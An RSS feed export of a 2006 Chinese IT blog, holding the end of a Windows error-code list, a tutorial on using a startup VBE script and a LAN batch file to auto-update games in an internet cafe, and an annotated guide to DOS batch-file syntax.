一些待发数据仍停留在请求缓冲区内。 <br />1914 无效的异步远程过程调用句柄。 <br />1915 这个操作的异步 RPC 调用句柄不正确。 <br />1916 RPC 管道对象已经关闭。 <br />1917 RPC 调用在全部的管道都被处理之前完成。 <br />1918 没有其他可用的数据来自 RPC 管道。 <br />1919 这个机器没有可用的站点名。 <br />1920 系统无法访问此文件。 <br />1921 系统无法解析文件名。 <br />1922 项目不是所要的类型。 <br />1923 无法将所有对象的 UUID 导出到指定的项。 <br />1924 无法将接口导出到指定的项。 <br />1925 无法添加指定的配置文件项。 <br />1926 无法添加指定的配置文件元素。 <br />1927 无法删除指定的配置文件元素。 <br />1928 无法添加组元素。 <br />1929 无法删除组元素。 <br />2000 像素格式无效。 <br />2001 指定的驱动程序无效。 <br />2002 该操作的窗口样式或类属性无效。 <br />2003 不支持请求的图元文件操作。 <br />2004 不支持请求的转换操作。 <br />2005 不支持请求的剪辑操作。 <br />2010 指定的颜色管理模块无效。 <br />2011 指定的颜色文件配置无效。 <br />2012 找不到指定的标识。 <br />2013 所需的标识不存在。 <br />2014 指定的标识已经存在。 <br />2015 指定的颜色文件配置与任何设备都不相关。 <br />2016 找不到该指定的颜色文件配置。 <br />2017 指定的颜色空间无效。 <br />2018 图像颜色管理没有启用。 <br />2019 在删除该颜色转换时有一个错误。 <br />2020 指定的颜色转换无效。 <br />2021 指定的转换与位图的颜色空间不匹配。 <br />2022 指定的命名颜色索引在配置文件中不存在。 <br />2108 网络连接已成功，但需要提示用户输入一个不同于原始指定的密码。 <br />2202 指定的用户名无效。 <br />2250 网络连接不存在。 <br />2401 在这个网络连接上已存在打开的文件或未处理的请求。 <br />2402 活动的连接仍然存在。 <br />2404 设备正由活动进程使用，无法断开连接。 <br />3000 指定的打印监视程序未知。 <br />3001 指定的打印机驱动程序正在使用中。 <br />3002 找不到假脱机文件。 <br />3003 没有发出 StartDocPrinter 调用。 <br />3004 尚未发出 AddJob 调用。 <br />3005 指定的打印处理程序已经安装。 <br />3006 指定的打印监视程序已经安装。 <br />3007 该指定的打印监视器不具备所要求的功能。 <br />3008 指定的打印机监视器正在使用中。 <br />3009 当打印机有作业排成队列时此操作请求是不允许的。 <br />3010 请求的操作成功。只有重新启动系统，更改才会生效。 <br />3011 请求的操作成功。只有重新启动服务，更改才会生效。 <br />3012 找不到打印机。 <br />4000 WINS 在处理命令时遇到执行错误。 <br />4001 无法删除本地的 WINS。 <br />4002 从文件引入失败。 <br />4003 备份失败。以前执行过完整的备份吗? <br />4004 备份失败。请检查备份数据库的目标目录。 <br />4005 名称在 WINS 数据库中不存在。 <br />4006 不允许进行未配置部分的复制。 <br />4100 DHCP 客户获得一个在网上已被使用的 IP 地址。直到 DHCP 客户可以获得新的地址前，本地接口将被禁用。 <br />4200 WMI 数据提供程序不能识别传来的 GUID 是否有效。 <br />4201 WMI 数据提供程序无法识别传来的实例名是否有效。 <br />4202 WMI 数据提供程序无法识别传来的数据项目标识符是否有效。 <br />4203 无法完成 WMI 请求，请重试一次。 <br />4204 找不到 WMI 数据提供程序。 <br />4205 WMI 数据提供程序引用到一个未注册的实例组。 <br />4206 WMI 数据块或事件通知已启用。 <br />4207 WMI 数据块不再可用。 <br />4208 WMI 数据服务无法使用。 <br />4209 WMI 数据提供程序无法完成请求。 <br />4210 WMI MOF 信息无效。 <br />4211 WMI 注册信息无效。 <br />4212 WMI 数据块或事件通知已禁用。 <br />4213 WMI 数据项目或数据块为只读。 <br />4214 WMI 数据项目或数据块不能更改。 <br />6118 该工作组的服务器列表当前不可用。 <br />6200 要正常运行，任务计划程序服务的配置必须在系统帐户中运行。单独的任务可以被配置成在其他帐户中运行。 <br />7001 指定的会话名无效。 <br />7002 指定的协议驱动程序无效。 <br />7003 在系统路径上找不到指定的协议驱动程序。 <br />7004 在系统路径上找不到指定的终端连接驱动程序。 <br />7005 不能为这个会话创建一个事件日志的注册键。 <br />7006 同名的一个服务已经在系统中存在。 <br />7007 在会话上一个关闭操作挂起。 <br />7008 没有可用的输出缓冲器。 <br />7009 找不到 MODEM.INF 文件。 <br />7010 在 MODEM.INF 中没有找到调制解调器名称。 <br />7011 调制解调器没有接受发送给它的指令。验证配置的调制解调器与连接的调制解调器是否匹配。 7012 调制解调器没有响应发送给它的指令。验证该调制解调器是否接线正确并且打开了电源开关。<br />7013 由于断开连接，载波检测失败或载波停止。 <br />7014 在要求的时间内没有发现拨号音。确定电话线连接正确并可使用。 <br />7015 在远程站点回叫时检测到了占线信号。 <br />7016 在回叫时远程站点上检测到了声音。 <br />7017 传输驱动程序错误 <br />7022 找不到指定的会话。 <br />7023 指定的会话名称已处于使用中。 <br />7024 由于终端连接目前正在忙于处理一个连接、断开连接、复位或删除操作，无法完成该请求的操作。 <br />7025 试图连接到其视频模式不受当前客户支持的会话。 <br />7035 应用程序尝试启动 DOS 图形模式。不支持 DOS 图形模式。 <br />7037 您的交互式登录权限已被禁用。请与您的管理员联系。 <br />7038 该请求的操作只能在系统控制台上执行。这通常是一个驱动程序或系统 DLL 要求直接控制台访问的结果。 <br />7040 客户未能对服务器连接消息作出响应。 <br />7041 不支持断开控制台会话。 <br />7042 不支持重新将一个断开的会话连接到控制台。 <br />7044 远程控制另一个会话的请求被拒绝。 <br />7045 拒绝请求的会话访问。 <br />7049 指定的终端连接驱动程序无效。 <br />7050 不能远程控制请求的会话。这也许是由于该会话被中断或目前没有一个用户登录。另外，您不能从该系统控制台远程控制一个会话或远程控制系统控制台。并且，您不能远程控制您自己的当前会话。 <br />7051 该请求的会话没有配置成允许远程控制。 <br />7052 连接到这个终端服务器的申请被拒绝。终端服务器客户许可证目前正在被另一个用户使用。请与系统管理员联系，获取一份新的终端服务器客户，其许可证号码必须是有效的、唯一的。 <br />7053 连接到这个终端服务器的申请被拒绝。还没有为这份终端服务器客户输入您的终端服务器客户许可证号码。请与系统管理员联系，为该终端服务器客户输入一个有效的、唯一的许可证号码。 <br />7054 系统已达到其授权的登录限制。请以后再试一次。 <br />7055 您正在使用的客户没有使用该系统的授权。您的登录请求被拒绝。 <br />7056 系统许可证已过期。您的登录请求被拒绝。   <br />--------------------------------------------------------------------------------<br /></p>
<img src ="http://www.cnitblog.com/raise/aggbug/9759.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:33 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9759.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理全自动更新网吧游戏</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9758.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:11:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9758.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9758.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9758.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9758.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9758.html</trackback:ping><description><![CDATA[网吧或学校机房的更新工作总是很烦人的，身为网管人员总得要想办法去解决，到百度一搜，发现方法不外乎就几种，手动，自动，自动的方法也不同。最常用的就是用同步软件或批处理了，对于在98年以后接触网络的朋友来说更多的是同步软件，习惯了在视窗环境下操作。而网龄大点的网管们更推崇他们的法宝，就是DOS批处理。
<p>在本教程中我要讲的就是如何用批处理来更新网吧游戏，从而大大减轻网管的劳动量。网管空隙时间多了自然就有更多的机会去学习，上网查资料，与各网管交流。我不反对大家空隙时玩游戏，但游戏玩多了不好着迷更不多，要知道自己到网吧工作的目的是什么，不是来玩的。大家都深有体会做网管是很苦的，都想早点跳出这个圈子。那我们应该创造机会利用机会去学习，而不是泡MM玩GAME。说了这么多废话，大家看得心急了吧，好了，言归正传。咳，咳，清清嗓子。（快把眼睛盯着看，集中精力了）</p><p>我们都知道同步更新软件分成两部分，一个服务端一个客户端。我用批处理也是分成两部分，服务端和客户端。当然也可以只有服务端，那就是用推技术把资源从服役端推向客户机，但客户机得开共享。开共享是很不安全的。所以采用拉的技术。在客户端放个批处理，开机后就从务服端拉资源过来。你也许会说这个同步软件不一样了吗？是的啊，方法是一样的。但我要问问你，即然系统本身就有这个功能，我们为什么不用，非要去找个第三方软件来实现呢，何况第三方软件大多是要付费的。我们应该更专注天发掘系统本身的功能而不是到处找第三方软件。也许你又会说DOS批处理我不会用，不会DOS。不会那就看完这篇文章好好学学啊。 一重起什么都不同了晕 </p><p>首先讲客户机上的，很简单就一行文字，我们将客户机上的批处理文件命名为b.vbe放在哪个盘你自己决定， 我这里就C:\b.vbe（这里你又晕了，怎么又出了个vbe的文件啊，什么东西啊，是个WINDOWS脚本文件来的，这样啊,那能用vbs吗?不能,我希望别用,如果你机子上装了,(豪杰超级解霸)<br />这个软件的话是行不通的,不相信我们建立个vbs的文件看看,呵呵,不行了吧)运行后就直接运行播放器了<br />昏厥<br />建立vbe文件,目的是让我们的批处理文件在启动的时候不显示要将它放在机子的启动项目中开机就能自动运行它。当然也可以放在别的地方，那你就得在注册表中建个项</p><p>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]<br />"AutoUp"="C:\\b.vbe"</p><p>或</p><p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]</p><p>"AutoUp"="C:\\b.vbe"<br />或<br />C:\Documents and Settings\(用户名)\ 「开始」菜单\程序\启动\AutoUp.bat</p><p>总之你要让它能起机就自动运行就可以了，我呢是放在</p><p><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]</p><p>"AutoUp"="C:\\b.vbe"</p><p>，这只适用于WIN2000 WinXp,WIn2003.</p><p>b.vbe的内容也简单，就是调用服务端的批处理，那以后有什么更新就都在服务端上做变动。</p><p>set ws=wscript.createobject("wscript.shell")<br />ws.run "<a>\\020-work\E\b\b.bat</a> /start",0</p><p>这里可以看出来了在服务端的批处理名字就是b.bat,最后一个0是静态运行文件 如果要显示就改成1</p><p>下一步就说它的内容，<br />意思是调用020-work(主机名) 这台机子的 b.bat的批处理文件</p><p>服务端批处理的内容：<br />@echo off<br />if exist C:\0907.inf goto NO</p><p>@del c:\0825.inf <br />@copy <a>\\020-work\E\a\0907.inf</a> c:\</p><p>regedit/s <a>\\020-work\E\</a>最新更新包\劲舞团\2k.reg<br />start/w <a>\\020-work\E\</a>最新更新包\劲舞团\劲舞团.exe<br />start/w <a>\\020-work\E\</a>最新更新包\梦幻西游\梦幻西游.exe<br />start/w <a>\\020-work\E\</a>最新更新包\热血江湖\热血江湖128.exe<br />start/w <a>\\020-work\E\</a>最新更新包\刀剑\刀剑063.exe<br />rd/s/q C:\Progra~1\flashget<br />exit</p><p>:no<br />exit</p><p>我们一句句的看，@echo off 是隐藏命令显示，</p><p>del 是DOS下的删除命令，因为有更新所以就得把本机的更新标志换成新的，当然也可以用Rename改名。我用的是复制新的删掉旧的。</p><p>If exist 用来判断后来的文件是否存在，如果存在就表明巳更新过了直接跳到后面NO部分。<br />IF是个判断语句，学过编程的都知道GOTO就是转跳的意思，那个0907.inf 只不过是个标志文件，用记事本建个空文件另存为INF文件就行了，也可以是别的TXT。XXX。GGG等，后缀名你愿意怎么取就怎么取。(这句总的说就是,探测需要更新的电脑上有没有0907.inf这个文件,如果有了,就不会再次更新,如果没有则更新</p><p>regedit/s 是dos下 导入注册表文件,就用不着去用手点了,知道吗,劲舞团这游戏没这个注册表文件,加不了歌的....</p><p>Start/w，/w是WAIT等待的意思，就是执行完此命令再执行下一个，如果没有/w就会一起全部执行了，Dos命令执行得很快的，你会说那是好事，但WIN下面的自解压包总要用时间吧，同时执行机子会很卡的，如果有大的压缩包很有可能会死机的。懂了吗?</p><p>RD/s/q是NT系统下的命令，在WIN98下应该用DelTree/y，/Q就是询问的意思，不用确认就执行/S是除了删除目录本身外，还删掉目录下面的文件及文件夹。</p><p>Exit是退出命令窗口，关闭命令窗口的意思，只在NT系统下有用在Win98下没效果。得手动退出。</p><p>注意NO前面有个冒号的,是：NO</p><p>命令就讲完了不懂的去看看DOS命令详解。或者去我社区看看<a href="http://qq163.cku.cn/">http://qq163.cku.cn/</a></p><p>看到这里又有疑问了你怎么得到更新包的，是去下载的还是自己做，答案是自己做的，怎么做？累了<br />下面的我在后面的一个教程里补上来吧 连续24小时没走开这里了</p><p><br />那我们得用到一个工具软件那就是BC2，全名：BeyondCompare_227_SC227_SC ，在本站就有下载，很小巧的软件。要游戏更新前，我们先将有更新的游戏文件夹复制一分出来，更新其中一份，然后用此软件对比抓包，抓出不同文件，即更新了哪些文件。把有更新的文件复制到新的文件夹中用WinRar 做成自解压包，指定好要解压的路径，用Winrar中的“隐藏启动对话框”，“覆盖所有文件”。<br />如果你不在本机复制一分作对比也可以在别的机子上开个共享做两机同一游戏的对比工作。</p><p>怎么进入DOS命令行，在WIn9X系统下运行COMMAND，或建一个文本文件另存为.BAT格式，里面写上Command，在NT系统2000，XP，2003下则用CMD就可以了</p><p>无论怎么做结果都一样，做网管的都是烦在保存这一步上面，保存就有点烦，因为有还原卡。人总得要到下面机子上开机关机的，要跑路，用批处理的话尽量减轻劳动量。(别急,偶照样有办法解决,呵呵,主要一般都是更新个网络游戏,是吗,也就是说一个盘不受保护这样就可以了<br />,记得把这个盘做个ghost文件备份,随便你啦<br />我的盘是受保护的,二个多月搞一次更新,也没事啦!</p><p>好了全部就讲完了，各位看了有什么想法，用了有什么体会要记得反馈给我依水磐石哟。在哪里反馈啊? 去我的社区吧!http://qq163.cku.cn<br />也许你看了会说这么麻烦啊，是啊，批处理更新就是准备工作做得多，后面更新的时候几乎不用动鼠标了。比起同步软件来省去了用鼠标点来点去的烦人。如果你对DOS命令很有兴趣的话可以和我交流一下。<br />如果你觉得不好，请不要说什么了 你高手，我也没办法 但请谦虚。。谢谢</p><img src ="http://www.cnitblog.com/raise/aggbug/9758.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:11 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9758.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BAT批处理文件语法</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9757.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:05:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9757.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9757.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9757.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9757.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9757.html</trackback:ping><description><![CDATA[==== 注 ======================================= <br />.bat是dos下的批处理文件 <br />.cmd是nt内核命令行环境的另一种批处理文件 <br />从更广义的角度来看，unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与dos的批处理却又完全不同。 <br />=================================== <br /><br />首先批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 <br /><br />==== 注 =================== <br />批处理文件中完全可以使用非dos命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于windows系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。 <br />======================== <br /><br />其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。 <br /><br />==== 注 ================== <br />批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就c语言来说，扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码，但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。 <br />=========================== <br /><br />第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。 <br /><br />==== 注 ===== <br />纯以dos系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY宏命令（预先驻留内存），COMMAND.COM中的内部命令（根据内存的环境随时进驻内存），以com为扩展名的可执行程序（由command.com 直接载入内存），以exe位扩展名的可执行程序（由command.com 重定位后载入内存），以bat位扩展名的批处理程序（由command.com 解释分析，根据其内容按优先级顺序调用第2，3，4，5种可执行程序，分析一行，执行一行，文件本身不载入内存） <br />============ <br /><br />第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例： <br />@ECHO OFF <br />PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools; <br /><br />C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH <br />LH SMARTDRV.EXE /X <br />LH DOSKEY.COM /insert <br />LH CTMOUSE.EXE <br />SET TEMP=D:\TEMP <br />SET TMP=D:\TEMP <br />==== 注 ===== <br />AUTOEXEC.BAT为DOS系统的自动运行批处理文件，由COMMAND.COM启动时解释执行； <br />而在Win9x环境中，不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件，对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。 <br />==== willsort 编注 ============= <br />以下关于命令的分类，有很多值得推敲的地方。常用命令中的@本不是命令，而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。 <br /><br />以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字，当然，其中有些概念和定义已经有些落后了。 <br /><br />批处理命令 <br /><br />批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。 <br /><br />任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。 <br />========== <br /><br />常用命令 <br /><br />echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br /><br />==== 注 =========== <br />首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: <br />CR(0D) 命令行结束符 <br />Escape(1B) ANSI转义字符引导符 <br />Space(20) 常用的参数界定符 <br />Tab(09) ; = 不常用的参数界定符 <br />+ COPY命令文件连接符 <br />* ? 文件通配符 <br />"" 字符串界定符 <br />| 命令管道符 <br />&lt; &gt; &gt;&gt; 文件重定向符 <br />@ 命令行回显屏蔽符 <br />/ 参数开关引导符 <br />: 批处理标签引导符 <br />% 批处理变量引导符 <br /><br />其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: <br />第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. <br />第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. <br />===================== <br /><br />echo 表示显示此命令后的字符 <br />echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br />==== 注 ===== <br />此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理 <br /><br />------------------------- <br />ECHO <br /><br />当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。 <br /><br />在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。 <br />使用ECHO命令可关闭此功能。 <br /><br />语法 <br /><br />ECHO [ON|OFF] <br /><br />若要用echo命令显示一条命令，可用下述语法： <br /><br />echo [message] <br /><br />参数 <br /><br />ON|OFF <br />指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO <br />命令。 <br /><br />message <br />指定让MS-DOS在屏幕上显示的正文。 <br /><br />------------------- <br /><br />CALL <br /><br />从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。 <br /><br />语法 <br /><br />CALL [drive:][path]filename [batch-parameters] <br /><br />参数 <br /><br />[drive:][path]filename <br />指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。 <br /><br /><br />batch-parameters <br />指定批处理程序所需的命令行信息。 <br /><br />------------------------------- <br /><br />PAUSE <br /><br />暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处 <br />理程序中使用该命令。 <br /><br />语法 <br /><br />PAUSE <br /><br /><br />REM <br /><br />在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS <br />中也可以用分号 ; 代替REM命令，但在批处理文件中则不能替代）。 <br /><br />语法 <br /><br />REM [string] <br /><br />参数 <br /><br />string <br />指定要屏蔽的命令或要包含的注解。 <br />======================= <br /><br />例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br /><br />　　批处理文件的内容为: 　　　　　　　 命令注释： <br /><br />　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 <br />　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br /><br />批处理文件的参数 <br /><br />批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。 <br /><br />%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br /><br />例2：C:根目录下有一批处理文件名为f.bat，内容为： <br />@echo off <br />format %1 <br /><br />如果执行C:\&gt;f a: <br />那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: <br /><br />例3：C:根目录下一批处理文件名为t.bat，内容为: <br />@echo off <br />type %1 <br />type %2 <br /><br />那么运行C:\&gt;t a.txt b.txt <br />%1 : 表示a.txt <br />%2 : 表示b.txt <br />于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 <br /><br />==== 注 =============== <br />参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下: <br /><br />初始状态, cmd 为命令名, 可以用 %0 引用 <br />cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />^ ^ ^ ^ ^ ^ ^ ^ ^ ^ <br />| | | | | | | | | | <br />%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 <br /><br />经过1次shift后, cmd 将无法被引用 <br />cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />^ ^ ^ ^ ^ ^ ^ ^ ^ ^ <br />| | | | | | | | | | <br />%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 <br /><br />经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义 <br />cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />^ ^ ^ ^ ^ ^ ^ ^ ^ <br />| | | | | | | | | <br />%0 %1 %2 %3 %4 %5 %6 %7 %8 <br /><br />遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针. <br />================= <br /><br />特殊命令 <br /><br /><br />if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br /><br /><br />一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br /><br />1、if [not] "参数" == "字符串" 待执行的命令 <br /><br />参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。 <br /><br />例：if "%1"=="a" format a: <br /><br />==== <br /><br />if 的命令行帮助中关于此点的描述为: <br />IF [NOT] string1==string2 command <br />在此有以下几点需要注意: <br />1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 <br />2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 <br />3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 <br />============================= <br /><br />2、if [not] exist [路径\]文件名 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br /><br />如: if exist c:\config.sys type c:\config.sys <br />表示如果存在c:\config.sys文件，则显示它的内容。 <br /><br />****** 注 ******** <br />也可以使用以下的用法: <br />if exist command <br />device 是指DOS系统中已加载的设备, 在win98下通常有: <br />AUX, PRN, CON, NUL <br />COM1, COM2, COM3, COM4 <br />LPT1, LPT2, LPT3, LPT4 <br />XMSXXXX0, EMMXXXX0 <br />A: B: C: ..., <br />CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ <br />具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: <br />1. 该设备确实存在(由软件虚拟的设备除外) <br />2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) <br />3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) <br />可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 <br />另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. <br />================================== <br /><br />3、if errorlevel &lt;数字&gt; 待执行的命令 <br /><br />很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br /><br />如if errorlevel 2 goto x2 <br /><br />==== 注 =========== <br />返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: <br /><br />if errorlevel 1 set el=1 <br />if errorlevel 2 set el=2 <br />if errorlevel 3 set el=3 <br />if errorlevel 4 set el=4 <br />if errorlevel 5 set el=5 <br />... <br /><br />当然, 也可以使用以下循环来替代, 原理是一致的: <br />for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e <br /><br />更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章 <br /><br />出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. <br /><br />另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 <br />=========================== <br />二、goto 